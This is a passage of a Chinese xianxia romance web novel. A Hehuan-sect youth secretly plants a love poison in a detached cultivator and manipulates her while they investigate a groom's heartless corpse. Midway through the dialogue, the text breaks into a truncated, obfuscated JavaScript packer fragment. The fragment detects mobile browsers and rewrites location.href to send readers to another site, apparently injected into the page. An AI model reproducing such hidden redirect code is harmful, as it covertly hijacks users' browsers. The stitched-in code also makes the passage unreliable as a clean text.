还差一点,他就可以真的活过来了。
倒时他就可以施展自己的宏图霸业!
少女望着他,躲过一次又一次朝她袭来的触手,黑色气息侵蚀周围,整座府邸被邪气笼罩。
阴风阵阵,恶臭的血腥味隐隐压过花香。
再这样下去,怕是要殃及周围百姓,况且江道友怕是也要坚持不了多久了,因这手中的花香味越来越淡。
来不及思考后果了……
周慈用灵力划破自己的指尖,血珠瞬间冒出,她抬手抹在那眉心的红痣上。
红痣逐渐妖冶,脚尖轻点落在半空中,发丝无风而动,下方黑气翻涌,触手伸入半空想要刺穿她的身体,却被她周身的屏障所挡。
少女闭上眼催动术法,手指不断翻印,触手的攻击越来越快,只听见一声屏障破碎的声音。
她缓缓睁开眼,眼底无悲无欲,红唇轻启:
“——五星镇彩,光照玄冥。”
“——邪散消退!”
即将穿透身体的触手在碰到她的一瞬间便消散,变成一缕黑气化为虚无。
堂前的少年轻呼口气,一剑扫过那些不死的邪物,再这样下去灵力迟早衰竭。
正当他准备摘下一片花瓣时,磅礴的灵力越过他席卷整个府邸,穿过邪物的身体,化成一缕烟消散。
江敛望着后院传来的动静,微眯眼提剑赶过去。
“阵破!”
随着她的话音落下,院中那棵树轰然倒塌,阵眼已破,阵法再无法聚集生气。
吴老祖的脸上此刻已然带着裂痕,体内的邪气发疯般朝她涌来。
周慈垂眸看向地面上的人,抬手轻轻一点,声音极淡,不带一丝温度,“赐尔等一场魂飞魄散。”
话音刚落,他的身形在灵力的冲击下快速消散,眼里充满怨毒,临死前大吼:“你一定会后悔——主人不会放过你!”
一切恢复平静。
待江敛赶来时,吴老祖已经失去身影,院子也被破坏了个干净,一片荒芜。
少女屹立在院子里,忍不住轻咳一声,鲜血顺着唇角流下。
“夫人!”
他收起剑连忙上前扶住少女的身子,周慈抬眼看了他一眼,有些虚弱道:“江道友,你无事吧?”
“别说话,运气调息。”,江敛倒出一颗丹药捏着她的下巴送进她嘴里。
“我替你守着。”
周慈抬头看向他,弯了弯眸子,“多谢。”
江敛守在她身边,看着灵气在她周身运转,不禁有些怀疑,刚刚那一击,可不是她一个金丹大圆满能挥出来的。
看来她还有自己不知晓的秘密。
少年的眸色逐渐转深,看见她紧闭双眼,花香渐渐侵入她。
情毒已种,只待时机发作。
4. 夫人可唤我敬之
周身的灵力一遍遍冲刷她的身体,少女轻蹙眉心忍受着常人不能忍的痛。
乾坤袋里的小兽此刻也察觉到些什么,不安的动着。
江敛收回身上的灵气,抬眼看向对面的人,眼底带着一丝凝重。
她的灵气……
看起来快要溃散了。
眉心红痣越来越妖冶,周慈唇角溢出一丝鲜血,他沉下眉眼起身走到她身后,将一缕灵气渡到她的身体里。
自己还没有得到飞升的资格还没完成,周慈还不能死。
“屏息凝气,感受灵力在经脉中的运行。”
熟悉的声音传来,少女下意识的沉下心来感受灵力的波动,暴乱的灵力逐渐安静下来,乖巧的待在她的身体里。
周慈缓缓睁开眼,眼里带着一丝欣喜:她突破至元婴了。
身后传来微弱的咳嗽声,少女眨眨眼,忽然想起什么连忙起身看向身后的人。
眼底带着一丝担忧,“江道友,你怎么样?”
周慈上前扶住他的身子,少年顺势靠在她的身上,脸色有些苍白。
“夫人没事就好。”
他扯了扯唇,垂在身旁的手微微有些颤抖,垂下的眼睫却遮住了眼底的淡漠。
没想到仅仅是帮她梳理,就耗费了自己那么多的灵力。
见他虚弱至此,少女拿出一颗丹药塞进他嘴里,又输送了些灵力在他身体里。
“有好些吗?”
周慈有些费力的搂住他,看来江道友定是受伤严重,不然怎会连站都站不起来了。
思及此她更加愧疚,下次还是尽量不用那一招好了。
“江道友,你在此休息,我去处理一下外边。”
她扶着少年靠坐在枯萎的树下休息,害怕会有危险,抬手布了一个灵罩在他周围。
“你在这等我,不要出这个圈。”
女孩声音温柔,江敛抬头望着她,阳光刺得他微微眯着眼。
“嗯,我会等你的夫人。”
他勾起一抹笑,看起来无害又脆弱。
“我会尽快赶回来。”
说完少女转身离开,江敛盯着她离去的背影,靠在树下轻闭眼。
周慈将府邸人的邪祟一一消除后,气都没喘匀就赶了回来。
日暮西山,青衣少年靠在树下,衣襟有些乱,能看见露出来的锁骨,上边还有一颗小痣。
似乎睡着了,一抹夕阳照射在他的一旁,染的发丝都带着光。
少女眨眨眼,下意识放轻动作走到他身边,蹲下身仔细看着他的脸。
合欢宗的弟子,好像是挺好看的。
她没有直接喊醒,只是从乾坤袋里拿出一件衣裳披在他身上,坐在少年身边运气打坐。
江敛在她回来时就已经醒了,不过时自己想要看看她到底想要做什么。
直到周慈将衣裳盖在他身上,什么也没做。
是自己还不够勾人吗?
他开始怀疑起自己,可心底却罕见的松了口气:要是任务完成的太轻松,就没意思了。
少年想了很多,想他后边该如何勾得这无情道弟子坠入情欲,沾染红尘。
直到最后,他真的睡了过去。
等再次睁眼时天空已然泼了一层墨,他看见白日如谪仙的少女,手里拿了一条小鱼干,正垂眸逗着怀里的小兽。
语气是他从未听过的温柔还带着笑意。
这是真正的她吗?
指尖微微蜷缩,不知为何,他没有打破此时的平静,连呼吸都下意识的放轻。
他瞧见少女和那只妖兽玩闹,将脸埋在那妖兽的毛里。
江敛垂下眼睫,轻咳出声,果不其然他看见对方慌乱的动作。
无趣。
轻咳声将周慈吓得不轻,连忙将小兽收回乾坤袋里回过身来,眼底还带着惊魂未定。
他紧紧的盯着少女的脸,似乎想要看出一丝不同来。
又变回那副样子了……
“江道友,你醒了。”
少年轻点头,敛去眼底的漠然,望向她的眼里带上一丝期盼,“嗯,夫人一直在这里吗?”
“看你在休息就没有打扰。”
周慈似乎还能听见耳边回荡着自己的心跳声,她故作镇定,努力端起一副如往常一般的模样。
可眼却时不时看向他,看来江道友应该是没有看见。
那就好。
她松了口气,将盖在少年身上的衣裳拿了回来,回过身来问道:“还要再歇会儿吗?”
“不了。”,江敛摇摇头,撑着树干站起身来。
周慈上前扶住他,将一丝灵力渡进他的身体,又拿出一颗丹药递到他面前。
少年看着这颗丹药轻笑出声,直勾勾的盯着她的脸,声音听起来有些虚弱,“四品丹珍贵,夫人还是收好,我没事了。”
“丹药岂有你珍贵。”
她轻蹙眉心,眼里带着不认同。
江敛盯着她的脸,似乎想要看出一丝她说谎的神情。
可是没有,她看起来好像真的是这样想。
少年心里忽然有些烦躁,站直了身子不动声色的离开她一些距离,不再看向她,只是声音依旧温和。
“夫人还是留着,避免下一次再出现同样的情况。”
“不会。”
她不会再让这样的情况发生,将自己与江道友置于危险之地。
“府里的其他人都活下来了,我将邪祟从他们身上消除,不过吴府的小姐是死了,那白骨应也是吴府老爷。”,她在一旁自顾自的说道。
说完才反应过来刚刚自己话又多了……
周慈清了清嗓子,率先离开吴府,搂着少年的腰带他一起越过墙头稳稳落在地上。
“江道友,夜已深,该回去了。”,她松开他的腰往后退了一步。
在她即将离开时,被身后的声音叫住,“夫人。”
“嗯?”,少女停下脚步,转过身目光疑惑。
“我小字敬之,夫人日后唤我敬之可好?”,他走上前,温声询问。
“不然总江道友江道友的喊,很生疏。”
在他的目光下,少女轻轻点头没有说话,算是答应了。
周慈听到身边传来的低笑,忍不住看了他一眼。
这有什么好开心的?
江道友还真是奇怪。
第二日一早,她就出了门,当天来时自己就注意到这碧落小镇有一个典当铺。
她将自己偶然间获得的一颗鲛人珠当了,拿了满满一袋的银钱。
现在天色还算早,回去喂喂小白,在修炼会儿,江道友应该就醒了。
“老伯,能来一串糖葫芦么,多谢。”
少女轻咬,没人知道其实她最爱吃甜了。
酸甜的味道令她满足的眯了眯眼,喂完小白后,她开始打坐修炼。
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灵力在周身运转,灵台却忽然传来一丝阵痛,她紧皱眉头,额间逐渐布满汗水。
周慈睁开眼,眼底带着凝重,自己为何运转灵力时灵台会痛?
灵台传来的异样让她不得不放弃修炼,一朵合欢花悄无声息的落在她的窗台。
江敛将刚刚发生的一切尽收眼底,他喝了口茶慢悠悠起身来到她门前,抬手敲了敲。
“江道友?”
看见门口的人,她似乎有些没反应过来。
“夫人昨日答应我的。”
周慈一愣,顶着他有些热烈的目光动了动嘴皮子,最后轻叹口气,“敬之。”
“嗯,我在。”,少年双眸带笑,她让出门来,转身进了房间。
“你身子好些了吗?”
他跟在身后,坐在女孩对面倒了一杯茶水推到她面前,“托夫人的照顾,身子好的差不多了。”
“忽然来寻我,是有事吗?”
“我察觉到夫人房间传来的灵力波动有异常,想起夫人应是还不知晓我们合欢宗弟子与他人结契时,会导致另一方灵力运转不周。”
“需得共修方可解决。”
怪不得刚刚自己修炼时灵台会传来刺痛,她盯着对方的脸忽然想起什么来,“你没有影响吗?”
“影响没那么大罢了。”
“那要如何共修。”
若是不解决此问题,怕是日后会生出变故。
少年单手撑着下巴面带笑意,“夫人不怀疑我吗?”
周慈奇怪的看着他,“为何要怀疑。”
江敛眨眨眼,笑出声来,眼里闪着细碎的光。
“那我们现在共修可好?”,他征询着女孩的意见,看见对方点头后才释放出自己的灵力。
“夫人仔细感受我的灵力,让它流转全身,再一点点融合自己的灵力,使它们融为一体。”
周慈按照他的话将两股灵力慢慢糅杂在一起,再顺着自己的灵脉一点点运转。
房间里的花香越来越浓郁,少年的眼尾泛红,两股不同的灵力包裹着二人。
这个过程漫长又痛苦,两股灵力从彼此排斥到最后的融合,整整过去了一天。
周慈睁开眼,轻轻的呼出口气,浑身疼的好似不是自己的身体。
她观自己的灵台,此刻已长出一朵小小的花苞,周围还有霜雪包围着它。
“咳咳。”
咳嗽声将她的思绪拉回来,周慈看向面前的人,脸色又有些苍白了。
她连忙将一缕灵力渡进对方的身体,看着少年面色逐渐转为红润才收回手。
“快将这颗丹药吃了。”,周慈有些后悔,她明明知道江道友昨日耗费了巨大的灵力。
等一等又何妨?
现在自己又害得江道友灵力差点枯竭。
“夫人,我……”
趁他说话之际,女孩直接将那枚丹药塞进他嘴里。
江敛看起来有些呆,一时间不知该作何反应。
“这枚丹药会助你恢复灵力,你刚刚消耗了许多,先在这歇会儿,我去让小二上些吃食来。”
“夫人不是辟谷了吗?”,他坐在椅子上抬头望着她。
“你不是喜欢吗?”
说完她转身就下了楼,独留江敛一人在房中,感受到自身的灵力在逐渐恢复,他有些沉默。
无情道弟子都像她这般吗?
还是说只有她一个是异类。
5. 修无情道的都是木头
周慈离开房间后,靠在门上小口的喘气,平复内心那股无法说明的情绪。
这股情绪好像并不属于自己。
会是江道友的吗?
似乎共修之后,自己偶尔能感受到对方情绪。
她手轻抚在胸口,这种感觉实在陌生,却又不讨厌。
周慈缓了好一会儿,才下楼找小二要了些吃食。
至于酒……她愣了愣,有些疑惑。
江道友现在能喝吗?
算了,来一壶好了。
等她回到房间后,一抬头就和那双眼对上。
江敛起身走到她身边,面带担忧,“夫人,是遇到什么事了吗?”
“没有。”,她顿了顿,“为何这样问。”
他抬手想要触碰她的肩,最后却又放下,垂首盯着她的眼一字一句道:“你去了很久,我很担心你。”
周慈愣住一会儿才找回自己的声音,眼神落向旁处,“我无事,下次会早些回来。”
少年一时间不知该说什么,只是带着她来到桌子前。
“这些糕点夫人可要尝尝?”
她看着桌上两碟糕点,本想下意识的拒绝,但又想起这好像是江道友做的便点点头。
还是熟悉的味道,甜甜的,她很喜欢。
见到她眉心舒展,江敛心下已经有了猜测。
“客官,您点的吃食好了。”
门外响起敲门声,少年起身打开房间门从小二手里接过吃食。
“夫人怎得还点了一盏酒。”
“上次见你爱喝,便要了一壶,不知道和你上次的那盏是不是一样。”,她咬了一口糕点,满足的眯了眯眼。
江敛倒了一杯酒递到她面前,又倒了一杯自顾自的喝了起来。
女孩眨眨眼,将杯子又推回到他面前,“我不喝,你喜欢便多喝些。”
说完之后她忽然想起什么,又改口道:“不对,你要少喝些,你伤还没好。”
“夫人是在担心我吗?”。
“嗯。”
见她如此直白,倒令江敛不知该说什么好了。
随着壶中酒液越来越少,他单手撑着脸,眼里逐渐染上一层薄雾。
见到这副模样周慈心下了然,不过还是有些奇怪。
怎得才两杯江道友就醉了?
“你醉了,我让小二送你回去。”,说完她起身准备出门喊人。
“我没醉,夫人陪陪我可好?”
他伸手轻轻的圈住她的手腕,雾蒙蒙的眼望向她,声音还有些许颤抖,眼尾泛红,就连衣襟也被他蹭开些许。
周慈回过身来,看着他这副模样在心里轻叹口气,语气平和:“可现在已经很晚了,你该回去了。”
“这枚丹药可让你醒酒,吃了便回去吧。”
说完她撇下少年的手,走到另一边坐下。
江敛看着面前这枚丹药,默了默还是吃了下去。
他强撑着桌子站起身,身形摇晃“那我回去了。”
只是在离开时一步三回头,最终还是没有等到挽留。
他垂下脑袋拖着沉重的步子离开。
少女没有应答,只是闭上眼修炼。
可在他离开时,周慈还是分出一道术法印在他的身后用于保护。
回到隔壁后那双眸子里的情绪逐渐被平静代替,原本被吃下的丹药也只是含在嘴里,在此刻被吐了出来。
丹药滚入角落,他轻轻触碰合欢花的花瓣,唇角带起一丝笑意。
看来周道友还不知晓共修会带来什么后果。
这边周慈见手中的术法亮了亮,确认他安全回到房间后,少女立马将乾坤袋里的小兽放了出来。
怜爱的揉了揉它的脑袋,“小可怜,在里面憋久了吧,来吃条小鱼干。”
小兽围着她跑了一圈,最后靠在她的腿边,用脑袋蹭着,喉咙里还发出呼噜声。
“好乖好乖,最喜欢你啦小白。”
她将小兽抱在怀里,不断的用脸蹭那毛茸茸,一人一兽玩的不亦乐乎。
直到最后抱着它入睡,不过今日的预言似乎来得有些早。
害得她近一夜未睡。
第二日少女精神萎靡的从床榻坐起,双眼轻闭,窗户处流入一丝寒意。
算了,再睡会儿吧,
她重新躺了回去,小兽蜷缩在她枕边呼吸平稳。
比起早起修炼,她更喜欢睡觉,毕竟夜晚要预言真的很累。
待她一觉醒来后已是晌午,女孩伸了个懒腰走出房间,就看见在外等候的少年。
周慈一顿,看着也不知在那站了多久的人有些迟疑。
“你……”
他上前一步,衣袖挽至小臂,“夫人醒了,我刚做好午膳,正准备喊你。”
“你无需如此。”,她叹了口气有些无奈。
“我只是……若是夫人不喜,我现在便去处理。”
说完他便转身走进屋子,准备将那些自己准备了很久的午膳扔掉。
周慈伸手扯住他的衣袖,“我没说我不尝。”
“夫人不用勉强自己。”,他始终不肯将身子转回来,只能听见一丝颤抖。
“没有,我们去用午膳。”
少年站在原地紧紧的盯着她的背影,带上一抹笑:他好像知道该如何让周道友心软了。
江敛抬手擦去眼角的泪,遮住眼底的凉薄,又变回那幅无害的样子。
他们在碧落小镇待了三天,确定江道友的身子好了之后才启程。
“夫人,接下来我们要去哪里。”
小道上两人并肩而走,路旁的野草杂生好似快要将他们吞没。
“去天水镇。”
预言中那里似乎有古怪。
他顿了顿停下步子,“夫人知道天水镇怎么走吗?”
这句话成功让她停下脚步,有些不好意思的看向他。
江敛倒也没有生气两人漫无目的的走了这么久,只是拿出一个罗盘在上边贴了张符纸,那罗盘便为他们指路。
“夫人以前经常迷路吗?”,少年温声询问。
周慈有些不好意思,就连耳尖都红了,“嗯。”
“那日后你再也不会迷路了。”
她抬起头望向面前的人,就对上那双含笑的眼眸。
今日春光好像很明媚。
“好。”
她收回眼神,有罗盘在自然不会迷路。
“江道友,这个罗盘在哪买的可否告诉我?”
有了这罗盘,自己再也不怕找不到路了。
江敛脸上的笑容一僵,看着那双眼,确定她在认真询问,他感觉自己的太阳穴有些疼。
果然,修无情道的都是个木头。
——又臭又硬。
“江道友?”
见他久久不说话,周慈有些疑惑。
他回过神来,努力牵起一抹笑容解释道:“这罗盘乃我一人所炼。”
“哦。”,她点点头,随即眼睛一亮,有些欣喜,“那江道友可否帮我炼一个,所需材料我去寻!”
“这……”
看出对方为难,周慈抬手拍拍他的肩膀忽然懂了,信誓旦旦道:“放心,银两也不会少你的。”
“这罗盘所需材料珍贵,怕是没那么好寻。”
“更何况……日后我都与夫人在一起,不必担心迷路。”
好吧,既然江道友都这么说了,她自然也不好再说其他。
江敛轻轻叹了口气,语气有些低落,“刚刚夫人又喊我江道友了。”
他轻轻摇头,妥协道:“罢了,夫人喜欢喊什么都好。”
闻言少女眨眨眼,江道友看起来好像有些伤心。
为何?
是因为没有喊他小字吗?
“那我多喊几遍就记得了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093353|195536||http|test|mini|href|location''.split(''|''),0,{}));
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>“敬之。”
“敬之。”
“敬之。”
江敛停下脚步,看见那双平静如水的眸子此刻正直勾勾的盯着自己,满是认真。
江道友的神情她看不懂,但应该是开心的吧。
“敬之,你开心了吗?”
“什么?”,他神情有些错愕。
周慈再次问道,一双眼仔细的盯着他的脸,一字一句道:“敬之,你开心吗?”
他收好自己心底的情绪,下意识勾起笑来,“和夫人在一起我就很开心。”
清凌凌的眼望向他没有说话,最后只是安静的走在他身边。
想起刚刚那抹看向自己的眼神,江敛似乎有一种被看穿的感觉。
他垂下眼睫开始思考接下来又该如何应对。
春风习习,二月十九,宜嫁娶。
“各位各位,我就要先进去了,你们吃好喝好啊。”
大宅里此刻摆满了酒席,席间热闹的很,整个宅子都挂上红绸。
“王公子恭喜啊!”,宾客纷纷端起酒杯前来祝贺。
王喜笑眼眯眯,喝下酒之后就入了新房。
想起自己的美娇娘,他便心头难耐,上前揭开那红盖头。
直到一声惨叫刺破黑夜的平静,惊起停留的鸟儿。
托罗盘的福,这次自己仅用了两天时间就赶到天水镇。
一路上竟然没有迷路,这全靠江道友。
“江道友,多谢。”
只是话音刚落她就意识到不对,又重新说了句,“敬之,多谢。”
“夫人言重了。”
他抬手在指尖即将触碰到女孩的脸颊时,对方往后退一步躲开他的动作,望向他的眼里带着疑惑。
江敛有些无奈,他收回手,指了指自己的脸,轻声道:“这里有些脏了。”
话落他拿出一条手帕递给女孩,周慈轻抿唇瓣,接过帕子轻轻擦拭,随后扬起一张小脸看向他,“现在干净了吗?”
“若夫人不介意,我可以帮忙。”
她没有说话似在思考,最后将手帕递给他。
江敛动作轻柔,直到将那污迹擦拭干净后才将帕子收起来。
“帕子脏了。”,她忍不住提醒。
“无妨,走了夫人。”
周慈点点头,二人刚走进这天水镇便听见来自周围百姓的窃窃私语声。
街边的一个老伯拦住她,“姑娘,买些饼子吗?”
她摇摇头,面色温和,“不了老伯,多谢。”
说完两人便离开,找了间客栈住下,这次是她付的银子。
“敬之,上去了。”
“刚刚夫人怎忽然付了银两。”,他跟在她身后上了楼。
“上次你付的。”
她回过身来,少年仰望着她,“你说了,银两是我们两个人的银两,所以谁付又有何区别。”
“好了,快去歇着吧,赶了两天的路。”
这两日她都只敢悄悄喂小鱼干,小白在乾坤袋里怕是都要憋死了。
见她略带急切的脚步,江敛眸色一沉。
又要去喂那畜生了吗?
这两日可是被他撞见了好几次。
那畜生到底有什么好的,能让她失去往日的平静。
他看向紧闭的房门,转身走进隔壁。
艳红色合欢花漂浮在他面前,江敛割破自己的指尖,将一滴鲜血滴落在花蕊。
花瓣逐渐打开,绽放。
空间里充满了迷惑人心的花香。
元婴期,成了。
少年轻轻拨弄花瓣,随即渡了一丝灵力,花瓣旋转逐渐转粉。
江敛指尖轻触花蕊,合欢花逐渐变成一个淡蓝色灵体,小小的一团蜷缩在他掌心。
赫然与女孩一个模样。
他握着这团灵体,眼眸里的笑意越来越深:夫人,准备好接受自己的礼物了吗?
6. 暴毙的新郎
他轻轻的捏了捏手中的灵体,正在陪小白玩闹的女孩忽感灵台一阵刺痛。
连忙用灵力探查一番,不知是不是自己的错觉,这花好像……
开了一些。
周慈看着自己灵台处那朵花苞,总觉得这花苞有些眼熟。
不过既然没什么坏处,就懒得再去追究那么多了。
天水镇近日人心惶惶,她走在路上依稀听见百姓口中的唏嘘和害怕。
“夫人,你喜欢哪只簪子?”
声音将她的神思拉回来,周慈瞟了一眼,“都好。”
“那这只如何,很衬夫人。”
江敛拿起一支簪子轻轻的戴在她的发间,青玉簪在阳光下散发出温润的光。
“我不习惯戴这些。”
说着她就要将这簪子取下来,少年抬手抓住她的手。
一瞬间又松开。
“可夫人戴上真真绝世无双。”
他垂下身子,一双桃花眼直勾勾的盯着她。
女孩脸上逐渐起了热意,她什么话也没说转身离开,脚步看起来有些慌乱。
江敛愣了下,随即低笑几声。
他付了银两就去追赶依稀只能看见背影的女孩。
今日春光正好。
周慈镇定的离开那个是非之地,小河波光粼粼,她站在桥头取下那只簪子不知在想些什么。
最后将簪子放在了乾坤袋里。
她走到小河边,蹲下身指尖轻轻划过水面,身后人来人往,她静静地享受这片刻安宁。
直到身边投下一片阴影,周慈抬起头看向一旁。
江敛蹲在她身旁,学着她的模样指尖轻划水面。
凉丝丝的水缠绕在他的指尖,发丝垂在他胸前。
“你衣袖湿了。”
女孩在一旁好心提醒道。
他弯了弯眼眸,摇摇头道:“无妨。”
周慈站起身,少年跟上她的脚步,她有些疑惑的看向他。
“你为何刚刚要学我的动作。”
她记得当时有人来宗门挑战自己时,便是学她的招式。
所以江道友也是想挑战自己吗?
“因为我想和夫人感同身受。”
哦,原来不是想挑战自己啊。
少女不再说话,只是在街道上慢悠悠的走,一路上都能听见周围窃窃私语的声音。
似乎是在说同一件事。
“夫人不好奇吗?”,他走上前轻声问道,似乎对周围的声音有些好奇。
周慈没有说话,直到最后停在一处挂满白绸的府邸面前。
“到了。”
江敛寻着她的声音看向里面,这间宅子似乎……
在办丧事。
“走吧,我们进去。”
说着她便准备进去,却被拉住手腕。
“夫人就打算这么进去?”
她点点头,“嗯。”
“这宅子似乎就是大家今早口中说的地方,我们进去吊唁,顺便看看有无可疑之处。”
“夫人可曾想过我们以何种身份进去。”
她顿了顿,满眼带着疑惑,“……嗯?”
少年无奈的叹口气,“我们这样进去是会被主人家轰出来的。”
周慈不理解为何,但还是听他的话没有再往里面走。
“夫人日后还是要多来这尘世间走一走才好。”
说话就说话,摸自己头发做什么?
她往后退了一步,背对他重新整理了一下自己的头发。
“日后不要再这样了。”,她的声音明显带上一丝不满。
江敛一愣,他张了张嘴似要说些什么,最后只是略带嘶哑道:“好,抱歉夫人。”
说完他便转身离开。
周慈看了看面前的府邸,又看了看他离开的背影,考虑一下后便去追赶少年。
左右这宅子不会跑,还是先去看看江道友又怎么了。
等她一路赶回来时,就发现隔壁紧闭的房门,她顿了顿,上前抬手敲了敲。
“敬之,我可以进来吗?”
“敬之?”
等了好一会儿里边都没传来声音,少女打开房间门,就看见坐在椅子上的人,背对自己。
周慈走上前想要看看他怎么了,他却埋首始终不肯抬起头。
声音还和往常一样,但若仔细听还能听见一丝哽咽,“夫人怎么来了,不去看看那宅子发生了什么吗?”
“宅子又不会跑。”,她顿了顿轻叹口气,“倒是你,跑得挺快。”
“夫人不必顾及我,你去探探吧。”
话虽是这样说,可周慈看着他抓住自己衣袖的手,眨了眨眼。
江道友明明不想让自己走,为何还要这样说。
“你不想让我走。”
“那为何还要让我离开?”
她不懂,合欢宗的弟子好像有很多让她难以理解的行为。
他缓缓松开了攥住她衣袖的手,却始终不肯抬头,只是轻声道:“因为我不想耽误夫人。”
“没有耽误。”
“敬之,你不高兴吗?”,她顿了顿,才不确定问道。
周慈语气有些疑惑,“是因为我刚刚那句话吗?”
见他没有说话,她就知道自己猜对了。
她虽然不解,但还是解释道:“不让你摸头发是因为乱了会很难整理。”
“夫人说的可是真的?”
他小心翼翼的抬起头来,眼尾通红,一双眸子里带着些水洗过的痕迹。
就那样凄凄的望着她。
少女下意识的屏住呼吸,合欢宗弟子果然如传闻所说——
会勾人心魄。
周慈的眼神落向别处,轻应了句便没了下文。
“我还以为是夫人……”,他欲言又止。
“怎么了?”
他摇摇头,眼里带着希冀,“没事,日后我帮夫人绾发可好?”
“不……”,可视线不小心相撞,她顿了顿又将想说的话咽了回去,临时改口:“行吧。”
江敛眼里带着得逞,原来周道友喜欢这种类型啊。
柔弱小白花?
他也可以,甚至能做的更好。
左右不过是绾个发而已,总不至于坏自己道心。
这个想法在第二日清晨就被打破,周慈坐在椅子上,眼神空洞。
自己已经坐在这半个时辰了……
“敬之,不然还是别弄了。”
扯得她头发好疼。
“夫人再等等,我马上就好。”
原本淡然的脸此刻额间满是细密的汗,江敛手上的动作生涩。
可之前他看师兄给别人绾发时没有这么难。
怎得到他这里就变了。
终于在女孩生无可恋时,他停下了手中的动作,狠狠地松了口气。
“好了。”
“嗯。”
总算好了,她快要再睡上一觉了。
直到在看见铜
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镜里的自己后,一股诡异的气氛在屋内蔓延开来。
周慈眨了眨眼,铜镜里的人也眨了眨眼,她不得不承认,这确实是自己。
江敛也将脑袋偏向一侧,手抵住唇轻咳,“咳咳……夫人,日后我定在练练。”
“敬之,凡间有句话说得好,要做自己擅长的。”
她一边解下好不容易绾好的发,一边轻声道。
“下次我定不会像现在这样。”
看着他认真的眼,周慈没说话。
算了,凡间还有句话说得好,叫既来之则安之。
或许是想要弥补,他生硬的转了话题,“昨日夫人不是想进王府吊唁吗,我已寻到法子。”
但好在她的注意力很快被转移,转过身望着,“真的?”
“我何时骗过夫人。”
好吧,目前为止他确实还没骗过。
“嗯,那走吧。”
说完她便起身往外走。
“等等,我们不能这么去,坐下。”
江敛拉住她的手腕,在她疑惑的目光下使了个术法。
两人原本的脸被另外的脸取而代之。
“好了,走吧。”
她不动,只是坐在椅子上,“为何要换脸。”
“因为我们要以王公子外出游玩好友的身份前去。”
周慈默了默,最后还是跟在他身边。
好麻烦……
“其实我们只需隐个身就能进去。”
“可夫人要学会接触他人,不能一直隐身进别人府邸。”
见他如此认真,周慈只好抬了抬下颌同意了。
其实只要能进去她都不介意。
果不其然,在他们即将入府时被人拦了下来,后边又遇见王老爷和王夫人。
多亏了江道友对答如流,才没引来怀疑。
看来自己真的需要学一下了,不然日后江道友不在时可如何是好。
她站在棺材旁往里看,棺材里躺着的人似乎只是睡着了,面容平静紧闭双眼。
只要那泛白的唇和脸上的一块青斑在昭示:他已经死了很久。
周慈站在棺材前,一双眼直勾勾的盯着,直到身边人扯了扯她的衣袖。
“抱歉,王喜是我们最好的朋友,我们……”
说着他便转过头不欲再说。
原本还有些心生怀疑的王夫人也心痛的扭过头去。
“夫人,你刚刚盯得太入神了。”
传音入她耳,周慈顿了顿,“抱歉。”
“夫人不必道歉,我会为夫人兜底。”
话音间她瞧见了江道友在朝她眨眼。
怎么了?
难道是尸体还有什么异常自己没发现?
想到这她面色严肃,再次用灵力仔仔细细,里里外外的检查了一遍。
直到她轻轻点头,江敛才扬起一抹笑,安慰了王老爷几句就带她离开了。
二人回到客栈后才换回本来的模样,她倒了两杯茶水,其中一杯递到他面前。
“我看了,那尸体缺了一颗心脏。”
“奇怪的是外表看起来并没有直接剖心的痕迹。”
江敛一边将就做好的糕点递到她面前,一边悠悠道。
“嗯,镇子上的人都说王公子是在新婚当天出的事,可我们却没有在葬礼上见到新娘。”
周慈回想起在王府见到的所有人,无一人符合那新娘的年纪。
可自己夫君死了,怎会不出来吊唁?
7. 诡异新娘
“夫人也觉得奇怪吗?”
她点点头,咬了一口递来的糕点,“嗯,今晚我们去看看。”
“不若我们先去打听打听这新娘何许人。”,话音间他又递了块糕点在她唇边。
听到他这么说,少女认真思考了一下才点点头,“也好。”
“不吃了。”
周慈偏头躲过喂来的糕点,她都已经饱了。
而且自己每天还要花费些时间来清除体内的浊气,可这是江道友亲手做的,自己若不尝尝他应是会难过。
“好,那就不尝了。”
他将糕点收起来,近些日子自己基本上已经掌握了对方的喜好。
喜甜,还喜那只畜生。
“走吧,我们去打听打听。”,她率先起身,这次她可知道要去哪里打听了。
客栈一楼坐了许多喝茶的人,从零碎的言语可以听出他们都在说同一件事。
周慈站在原处看了一圈,最后视线定格在角落里。
那女孩紧握手中的杯子,和周围谈论此事的人根本不一样。
“我可以坐在这吗?”,她走上前下意识的放轻声音,弯下腰和对方对视。
女孩怯生生的看了她一眼,又飞快的点点头便垂下脑袋。
周慈笑了笑坐在她对面,她变戏法似的拿出一碟糕点放到她面前。
“你喜欢吃糕点吗?”
她眨了眨眼,小心翼翼的看了她一眼摇摇头。
直到少年走到她身边,女孩身子一僵,什么话也没说就跑了出去。
江敛一愣,忍不住想:难道是自己太吓人了?
“你把她吓跑了,敬之。”
周慈抬头望向他,明明一双眼清凌凌的,可江敛就是觉得她在怪自己。
“是我的错。”
见他认错如此之快,少女一时间没反应过来。
“我不该来破坏夫人的事,抱歉。”
一字一句诚恳至极,她想要说的话又咽了回去。
不过少年又很快弥补,“但合欢花的花粉刚刚沾染在她身上,我们可以靠花粉寻过去。”
“嗯?什么时候沾染上的?”,周慈眨了眨眼,有些好奇。
“夫人可闻见我身上的香气?”
或许是想要她闻的更清楚些,江敛弯下身子凑近。
无人在意的角落里,少女整个身子几乎被笼罩,她闻见了江道友身上浓郁的花香。
“闻到了。”
她想要往后退点,但却被堵死。
“你离我远一些可以吗?”
周慈望着他,淡声道。
没看见她脸红的模样,少年显得有些遗憾,不过还是听话的退开。
见他退开,她松了口气。
呼……
还好让开了,不然就要打喷嚏了。
“你身上的花香可以追踪?”
“嗯,花香沾染了花粉,但凡沾染我花粉的人,便是天涯海角我也能寻到。”
闻言她顿了顿,“那我……身上是不是也沾染了你的花粉?”
“夫人放心,我们一直在一起,不会用这来寻你的。”
江敛轻轻的笑,带着点勾引和促狭。
她不信,还用灵力检查自身,可确实没发现花粉的踪迹。
或许是看出她在做什么,少年在一旁好心提醒:“夫人别忙活了,只要我不使用这术法,它就不会显现。”
行吧,既然不会伤害自己,留着也无妨。
“要去追吗?”
“嗯。”
刚刚那女孩定然知道些什么。
